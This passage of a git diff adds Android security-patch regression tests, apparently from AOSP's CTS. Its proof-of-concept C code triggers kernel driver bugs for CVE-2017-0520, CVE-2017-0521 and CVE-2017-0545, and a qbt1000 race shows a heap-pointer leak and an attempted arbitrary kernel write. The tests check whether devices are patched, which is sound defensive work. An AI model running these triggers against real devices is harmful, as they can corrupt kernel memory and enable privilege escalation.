+ uint16_t txn_id;
+ uint16_t msg_id;
+ uint16_t msg_len;
+} __attribute__((__packed__));
+
+struct qseecom_handle {
+ void *dev;
+ unsigned char *sbuf;
+ uint32_t sbuf_len;
+};
+
+enum qbt1000_commands {
+ QBT1000_LOAD_APP = 100,
+ QBT1000_UNLOAD_APP = 101,
+ QBT1000_SEND_TZCMD = 102
+};
+
+struct qbt1000_app {
+ struct qseecom_handle **app_handle;
+ char name[32];
+ uint32_t size;
+ uint8_t high_band_width;
+};
+
+struct qbt1000_send_tz_cmd {
+ struct qseecom_handle *app_handle;
+ uint8_t *req_buf;
+ uint32_t req_buf_len;
+ uint8_t *rsp_buf;
+ uint32_t rsp_buf_len;
+};
+
+struct msm_ipc_port_addr {
+ uint32_t node_id;
+ uint32_t port_id;
+};
+
+struct msm_ipc_port_name {
+ uint32_t service;
+ uint32_t instance;
+};
+
+struct msm_ipc_addr {
+ unsigned char addrtype;
+ union {
+ struct msm_ipc_port_addr port_addr;
+ struct msm_ipc_port_name port_name;
+ } addr;
+};
+
+/*
+ * Socket API
+ */
+
+#define AF_MSM_IPC 27
+
+#define PF_MSM_IPCAF_MSM_IPC
+
+#define MSM_IPC_ADDR_NAME 1
+#define MSM_IPC_ADDR_ID 2
+
+struct sockaddr_msm_ipc {
+ unsigned short family;
+ struct msm_ipc_addr address;
+ unsigned char reserved;
+};
+
+struct qbt1000_app app = {0, {0}, 0, 0};
+
+static int get_fd(const char *dev_node) {
+ int fd;
+ fd = open(dev_node, O_RDWR);
+ if (fd < 0) {
+ cont = 0;
+ exit(EXIT_FAILURE);
+ }
+
+ return fd;
+}
+
+static void leak_heap_ptr(int fd) {
+ void *addr = NULL;
+ app.app_handle = (void *)&addr;
+ app.size = 32;
+ ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_send_tzcmd(int fd) {
+ struct qseecom_handle hdl = {0, 0, 0};
+ struct qbt1000_send_tz_cmd cmd = {0, 0, 0, 0, 0};
+
+ hdl.sbuf = (void *)0xABADACCE55000000;
+ cmd.app_handle = &hdl;
+ cmd.req_buf = cmd.rsp_buf = malloc(4096);
+ cmd.req_buf_len = cmd.rsp_buf_len = 4096;
+
+ ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
+}
+
+static void recv_msgs(int fd) {
+ struct msghdr msg = {0, 0, 0, 0, 0, 0, 0};
+ struct iovec io = {0, 0};
+ struct sockaddr_msm_ipc addr = {0, {0, {{0, 0}}}, 0};
+ struct msm_ipc_addr address = {0, {{0, 0}}};
+ uint8_t *ptr;
+ struct qmi_header *hdr;
+ int count = 1;
+
+ io.iov_base = malloc(4096);
+ memset(io.iov_base, 0, 4096);
+ io.iov_len = 4096;
+
+ msg.msg_iovlen = 1;
+ msg.msg_iov = &io;
+ msg.msg_name = &addr;
+ msg.msg_namelen = sizeof(addr);
+
+ while (cont) {
+ recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+ memset(io.iov_base, 0, 128);
+ hdr = io.iov_base;
+
+ hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
+ hdr->txn_id = count++;
+ hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
+ hdr->msg_len = 3;
+
+ ptr = (uint8_t *)((char *)io.iov_base + sizeof(*hdr));
+
+ *ptr = OPTIONAL_TLV_TYPE_START;
+ ptr++;
+ *ptr = 0;
+ ptr++;
+ *ptr = 0;
+ sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+ }
+}
+
+#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
+static void setup_ipc_server(void) {
+ int fd;
+ struct sockaddr_msm_ipc addr = {0, {0, {{0, 0}}}, 0};
+ fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
+
+ if (fd < 0) {
+ exit(EXIT_FAILURE);
+ }
+
+ addr.family = AF_MSM_IPC;
+ addr.address.addrtype = MSM_IPC_ADDR_NAME;
+ addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
+ addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
+ QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
+
+ bind(fd, (struct sockaddr *)&addr, sizeof(addr));
+ recv_msgs(fd);
+}
+
+static void *leak_ptr(void *ignore) {
+ void *save;
+ while (cont) {
+ if (app.app_handle != NULL) {
+ save = *app.app_handle;
+ if (save != NULL) {
+ break;
+ }
+ }
+ }
+ return NULL;
+}
+
+static void *do_ipc_stuff(void *ignore) {
+ setup_ipc_server();
+ return NULL;
+}
+
+int main(void) {
+ int fd;
+ pthread_t race_car;
+ pthread_t race_car1;
+ pthread_create(&race_car, NULL, do_ipc_stuff, NULL);
+ usleep(50000);
+ fd = get_fd(dev);
+ pthread_create(&race_car1, NULL, leak_ptr, NULL);
+ usleep(1000);
+ leak_heap_ptr(fd);
+ arb_kernel_write_send_tzcmd(fd);
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0520/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0520/Android.mk
new file mode 100644
index 0000000..2a9b85c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0520/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0520
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0520/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0520/poc.c
new file mode 100644
index 0000000..756c50c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0520/poc.c
@@ -0,0 +1,112 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <dirent.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/sched.h>
+#include <pthread.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/resource.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include <unistd.h>
+
+void trigger_bug(void);
+int open_driver(void);
+
+struct buf_info {
+ union {
+ uint32_t offset;
+ uint8_t *vaddr;
+ };
+ uint32_t len;
+};
+
+enum qcedev_sha_alg_enum {
+ QCEDEV_ALG_SHA1 = 0,
+ QCEDEV_ALG_SHA256 = 1,
+ QCEDEV_ALG_SHA1_HMAC = 2,
+ QCEDEV_ALG_SHA256_HMAC = 3,
+ QCEDEV_ALG_AES_CMAC = 4,
+ QCEDEV_ALG_SHA_ALG_LAST
+};
+#define QCEDEV_MAX_BUFFERS 16
+#define QCEDEV_MAX_SHA_DIGEST 32
+struct qcedev_sha_op_req {
+ struct buf_info data[QCEDEV_MAX_BUFFERS];
+ uint32_t entries;
+ uint32_t data_len;
+ uint8_t digest[QCEDEV_MAX_SHA_DIGEST];
+ uint32_t diglen;
+ uint8_t *authkey;
+ uint32_t authklen;
+ enum qcedev_sha_alg_enum alg;
+};
+
+#define QCEDEV_IOC_MAGIC 0x87
+#define QCEDEV_IOCTL_SHA_UPDATE_REQ \
+ _IOWR(QCEDEV_IOC_MAGIC, 4, struct qcedev_sha_op_req)
+#define QCEDEV_IOCTL_SHA_INIT_REQ \
+ _IOWR(QCEDEV_IOC_MAGIC, 3, struct qcedev_sha_op_req)
+
+int g_fd = -1;
+
+int open_driver() {
+ char *dev_path = (char *)"/dev/qce";
+ g_fd = open(dev_path, O_RDWR);
+ return g_fd;
+}
+
+void trigger_bug() {
+ struct qcedev_sha_op_req req;
+
+ req.entries = 1;
+ req.data_len = 0x4000;
+
+ unsigned long *vaddr = (unsigned long *)malloc(0x1000);
+ vaddr[0] = 0;
+ vaddr[1] = (unsigned long)0xffffffffffffffff;
+ req.data[0].len = 0x4000;
+ req.data[0].vaddr = 0;
+
+ req.diglen = 0x1000;
+ req.authklen = 16;
+ req.authkey = (uint8_t *)"111111111111111";
+ req.alg = QCEDEV_ALG_AES_CMAC;
+
+ ioctl(g_fd, QCEDEV_IOCTL_SHA_UPDATE_REQ, &req);
+}
+
+int main(int argc, char **argv) {
+ setpriority(PRIO_PROCESS, gettid(), -19);
+ if (open_driver() < 0) {
+ return -1;
+ }
+
+ trigger_bug();
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0521/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0521/Android.mk
new file mode 100644
index 0000000..c61f95f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0521/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0521
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0521/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0521/poc.c
new file mode 100644
index 0000000..11a3e94a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0521/poc.c
@@ -0,0 +1,392 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <linux/ion.h>
+#include <linux/types.h>
+#include <linux/videodev2.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define MAX_PLANES VIDEO_MAX_PLANES
+
+#define PARTIAL_FRAME_STRIPE_COUNT 4
+
+#define MAX_NUM_CPP_STRIPS 8
+#define MSM_CPP_MAX_NUM_PLANES 3
+#define MSM_CPP_MIN_FRAME_LENGTH 13
+#define MSM_CPP_MAX_FRAME_LENGTH 4096
+#define MSM_CPP_MAX_FW_NAME_LEN 32
+#define MAX_FREQ_TBL 10
+
+enum msm_cpp_frame_type {
+ MSM_CPP_OFFLINE_FRAME,
+ MSM_CPP_REALTIME_FRAME,
+};
+
+enum msm_vpe_frame_type {
+ MSM_VPE_OFFLINE_FRAME,
+ MSM_VPE_REALTIME_FRAME,
+};
+
+struct msm_cpp_buffer_info_t {
+ int32_t fd;
+ uint32_t index;
+ uint32_t offset;
+ uint8_t native_buff;
+ uint8_t processed_divert;
+ uint32_t identity;
+};
+
+struct msm_cpp_stream_buff_info_t {
+ uint32_t identity;
+ uint32_t num_buffs;
+ struct msm_cpp_buffer_info_t *buffer_info;
+};
+
+enum msm_cpp_batch_mode_t {
+ BATCH_MODE_NONE,
+ BATCH_MODE_VIDEO,
+ BATCH_MODE_PREVIEW
+};
+
+struct msm_cpp_batch_info_t {
+ enum msm_cpp_batch_mode_t batch_mode;
+ uint32_t batch_size;
+ uint32_t intra_plane_offset[MAX_PLANES];
+ uint32_t pick_preview_idx;
+ uint32_t cont_idx;
+};
+
+struct msm_cpp_frame_info_t {
+ int32_t frame_id;
+ struct timeval timestamp;
+ uint32_t inst_id;
+ uint32_t identity;
+ uint32_t client_id;
+ enum msm_cpp_frame_type frame_type;
+ uint32_t num_strips;
+ uint32_t msg_len;
+ uint32_t *cpp_cmd_msg;
+ int src_fd;
+ int dst_fd;
+ struct timeval in_time, out_time;
+ void __user *cookie;
+ int32_t *status;
+ int32_t duplicate_output;
+ uint32_t duplicate_identity;
+ uint32_t feature_mask;
+ uint8_t we_disable;
+ struct msm_cpp_buffer_info_t input_buffer_info;
+ struct msm_cpp_buffer_info_t output_buffer_info[8];
+ struct msm_cpp_buffer_info_t duplicate_buffer_info;
+ struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];
+ uint32_t reserved;
+ uint8_t partial_frame_indicator;
+ uint8_t first_payload;
+ uint8_t last_payload;
+ uint32_t first_stripe_index;
+ uint32_t last_stripe_index;
+ uint32_t stripe_info_offset;
+ uint32_t stripe_info;
+ struct msm_cpp_batch_info_t batch_info;
+};
+
+struct msm_cpp_pop_stream_info_t {
+ int32_t frame_id;
+ uint32_t identity;
+};
+
+struct cpp_hw_info {
+ uint32_t cpp_hw_version;
+ uint32_t cpp_hw_caps;
+ unsigned long freq_tbl[MAX_FREQ_TBL];
+ uint32_t freq_tbl_count;
+};
+
+struct msm_vpe_frame_strip_info {
+ uint32_t src_w;
+ uint32_t src_h;
+ uint32_t dst_w;
+ uint32_t dst_h;
+ uint32_t src_x;
+ uint32_t src_y;
+ uint32_t phase_step_x;
+ uint32_t phase_step_y;
+ uint32_t phase_init_x;
+ uint32_t phase_init_y;
+};
+
+struct msm_vpe_buffer_info_t {
+ int32_t fd;
+ uint32_t index;
+ uint32_t offset;
+ uint8_t native_buff;
+ uint8_t processed_divert;
+};
+
+struct msm_vpe_stream_buff_info_t {
+ uint32_t identity;
+ uint32_t num_buffs;
+ struct msm_vpe_buffer_info_t *buffer_info;
+};
+
+struct msm_vpe_frame_info_t {
+ int32_t frame_id;
+ struct timeval timestamp;
+ uint32_t inst_id;
+ uint32_t identity;
+ uint32_t client_id;
+ enum msm_vpe_frame_type frame_type;
+ struct msm_vpe_frame_strip_info strip_info;
+ unsigned long src_fd;
+ unsigned long dst_fd;
+ struct ion_handle *src_ion_handle;
+ struct ion_handle *dest_ion_handle;
+ unsigned long src_phyaddr;
+ unsigned long dest_phyaddr;
+ unsigned long src_chroma_plane_offset;
+ unsigned long dest_chroma_plane_offset;
+ struct timeval in_time, out_time;
+ void *cookie;
+
+ struct msm_vpe_buffer_info_t input_buffer_info;
+ struct msm_vpe_buffer_info_t output_buffer_info;
+};
+
+enum msm_camera_buf_mngr_buf_type {
+ MSM_CAMERA_BUF_MNGR_BUF_PLANAR,
+ MSM_CAMERA_BUF_MNGR_BUF_USER,
+ MSM_CAMERA_BUF_MNGR_BUF_INVALID,
+};
+
+#define MSM_CAMERA_MAX_USER_BUFF_CNT 16
+struct msm_camera_user_buf_cont_t {
+ unsigned int buf_cnt;
+ unsigned int buf_idx[MSM_CAMERA_MAX_USER_BUFF_CNT];
+};
+
+struct msm_buf_mngr_info {
+ uint32_t session_id;
+ uint32_t stream_id;
+ uint32_t frame_id;
+ struct timeval timestamp;
+ uint32_t index;
+ uint32_t reserved;
+ enum msm_camera_buf_mngr_buf_type type;
+ struct msm_camera_user_buf_cont_t user_buf;
+};
+
+struct msm_pproc_queue_buf_info {
+ struct msm_buf_mngr_info buff_mgr_info;
+ uint8_t is_buf_dirty;
+};
+
+struct msm_cpp_clock_settings_t {
+ unsigned long clock_rate;
+ uint64_t avg;
+ uint64_t inst;
+};
+
+#define VIDIOC_MSM_CPP_CFG \
+ _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_GET_INST_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_LOAD_FIRMWARE \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_GET_HW_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_FLUSH_QUEUE \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_VPE_CFG \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_VPE_TRANSACTION_SETUP \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_VPE_GET_INST_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_QUEUE_BUF \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_SET_CLOCK \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_IOMMU_ATTACH \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_IOMMU_DETACH \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_DELETE_STREAM_BUFF \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 20, struct msm_camera_v4l2_ioctl_t)
+
+#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
+
+#define V4L2_EVENT_CPP_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 0)
+#define V4L2_EVENT_VPE_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 1)
+
+struct msm_camera_v4l2_ioctl_t {
+ uint32_t id;
+ size_t len;
+ int32_t trans_code;
+ void __user *ioctl_ptr;
+};
+
+#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA
+
+int ion_open(void);
+int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask,
+ unsigned int flags, ion_user_handle_t *handle);
+
+int ion_open() {
+ int fd = open("/dev/ion", O_RDONLY);
+ return fd;
+}
+
+static int ion_ioctl(int fd, int req, void *arg) {
+ int ret = ioctl(fd, req, arg);
+ return ret;
+}
+
+int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask,
+ unsigned int flags, ion_user_handle_t *handle) {
+ int ret;
+ struct ion_allocation_data data = {
+ .len = len,
+ .align = align,
+ .heap_id_mask = heap_mask,
+ .flags = flags,
+ };
+ if (handle == NULL) return -1;
+
+ ret = ion_ioctl(fd, ION_IOC_ALLOC, &data);
+ if (ret < 0) return ret;
+
+ *handle = data.handle;
+
+ return ret;
+}
+
+static void ion_get_fd(int fd, ion_user_handle_t *handle, int *buf_fd) {
+ union {
+ struct ion_fd_data fd;
+ struct ion_allocation_data allocation;
+ struct ion_handle_data handle;
+ struct ion_custom_data custom;
+ } data;
+ memset(&data, 0, sizeof(data));
+ data.handle.handle = *handle;
+ int ret = ioctl(fd, ION_IOC_SHARE, &data);
+ *buf_fd = data.fd.fd;
+}
+
+int main(int argc, char **argv) {
+ int fd;
+ int ion_fd;
+ int buf_fd = -1;
+ const size_t frame_size = 446;
+ ion_user_handle_t ion_handle;
+ uint32_t buf[frame_size];
+ struct msm_camera_v4l2_ioctl_t request = {0, 0, 0, 0};
+ struct msm_cpp_frame_info_t frame_info;
+ struct msm_cpp_buffer_info_t buff_info;
+ struct msm_cpp_stream_buff_info_t stream_buff_info;
+
+ memset(&buf, 0x00, sizeof(buf));
+ memset(&frame_info, 0x01, sizeof(frame_info));
+ memset(&buff_info, 0x00, sizeof(buff_info));
+ memset(&stream_buff_info, 0x00, sizeof(stream_buff_info));
+
+ ion_fd = ion_open();
+
+ ion_alloc(ion_fd, 0x1000, 0, 0xfffffff,
+ ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC, &ion_handle);
+
+ ion_get_fd(ion_fd, &ion_handle, &buf_fd);
+
+ stream_buff_info.num_buffs = 1;
+ stream_buff_info.identity = 0x27BC86AA;
+ stream_buff_info.buffer_info = &buff_info;
+ frame_info.identity = stream_buff_info.identity;
+ buff_info.fd = buf_fd;
+ buff_info.identity = 0x27BC86AA;
+ buff_info.index = 0;
+ buff_info.native_buff = 1;
+ buf[frame_size - 1] = MSM_CPP_MSG_ID_TRAILER;
+ frame_info.msg_len = frame_size;
+ frame_info.cpp_cmd_msg = buf;
+ frame_info.num_strips = UINT_MAX;
+ frame_info.we_disable = 1;
+ frame_info.duplicate_output = 0;
+ frame_info.feature_mask = 0;
+ frame_info.input_buffer_info = buff_info;
+
+ char subdev[32] = {0};
+ for (int i = 0; i < 32; i++) {
+ snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i);
+ fd = open(subdev, O_RDWR);
+ if (fd < 0) continue;
+
+ request.len = sizeof(stream_buff_info);
+ request.ioctl_ptr = &stream_buff_info;
+ ioctl(fd, VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO, &request);
+
+ ioctl(fd, VIDIOC_MSM_CPP_IOMMU_ATTACH, &request);
+
+ request.len = sizeof(frame_info);
+ request.ioctl_ptr = &frame_info;
+ ioctl(fd, VIDIOC_MSM_CPP_CFG, &request);
+ close(fd);
+ }
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0545/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0545/Android.mk
new file mode 100644
index 0000000..bb9a223
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0545/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0545
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := system/media/audio_effects/include \
+ frameworks/native/include
+LOCAL_SHARED_LIBRARIES := libmedia libaudioclient libutils libbinder liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0545/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0545/poc.cpp
new file mode 100644
index 0000000..28c3f75
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0545/poc.cpp
@@ -0,0 +1,189 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <audio_effects/effect_visualizer.h>
+#include <binder/IServiceManager.h>
+#include <hardware/audio_effect.h>
+#include <media/AudioEffect.h>
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+
+using namespace android;
+
+struct EffectClient : public BnEffectClient {
+ EffectClient() {}
+ virtual void controlStatusChanged(bool controlGranted __unused) {}
+ virtual void enableStatusChanged(bool enabled __unused) {}
+ virtual void commandExecuted(uint32_t cmdCode __unused,
+ uint32_t cmdSize __unused,
+ void *pCmdData __unused,
+ uint32_t replySize __unused,
+ void *pReplyData __unused) {}
+};
+
+static sp<IBinder> createEffect(effect_descriptor_t *pDesc,
+ const sp<IEffectClient> &client,
+ int32_t priority, audio_io_handle_t output,
+ audio_session_t sessionId,
+ const String16 &opPackageName, status_t *status,
+ int *id, int *enabled) {
